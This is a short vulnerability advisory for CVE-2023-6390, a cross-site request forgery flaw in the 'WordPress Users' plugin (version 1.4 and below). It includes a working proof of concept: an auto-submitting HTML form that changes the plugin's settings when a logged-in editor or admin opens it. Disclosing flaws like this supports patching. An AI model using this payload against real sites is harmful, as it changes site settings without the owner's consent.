WordPress Users <= 1.4 – Settings Update via CSRF | CVE 2023-6390

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack.

Proof of Concept

Create an HTML with the following and open it when logged in as an Editor or above:

<form action="https://example.com/wp-admin/options-general.php?page=wordpress-users/wp-users.php" method="POST">
    <input type="text" name="wpu_hidden" value="Y">
    <input type="text" name="wpu_page_id" value="1">
    <input type="text" name="wpu_users_per" value="10">
    <input type="text" name="wpu_roles_admin" value="yes">
    <input type="text" name="wpu_description_limit" value="">
    <input type="text" name="wpu_avatars" value="gravatars">
    <input type="text" name="wpu_gravatar_type" value="">
    <input type="text" name="wpu_gravatar_size" value="">
    <input type="text" name="Submit" value="Update Options">
</form>
<script>
    document.forms[0].submit();
</script>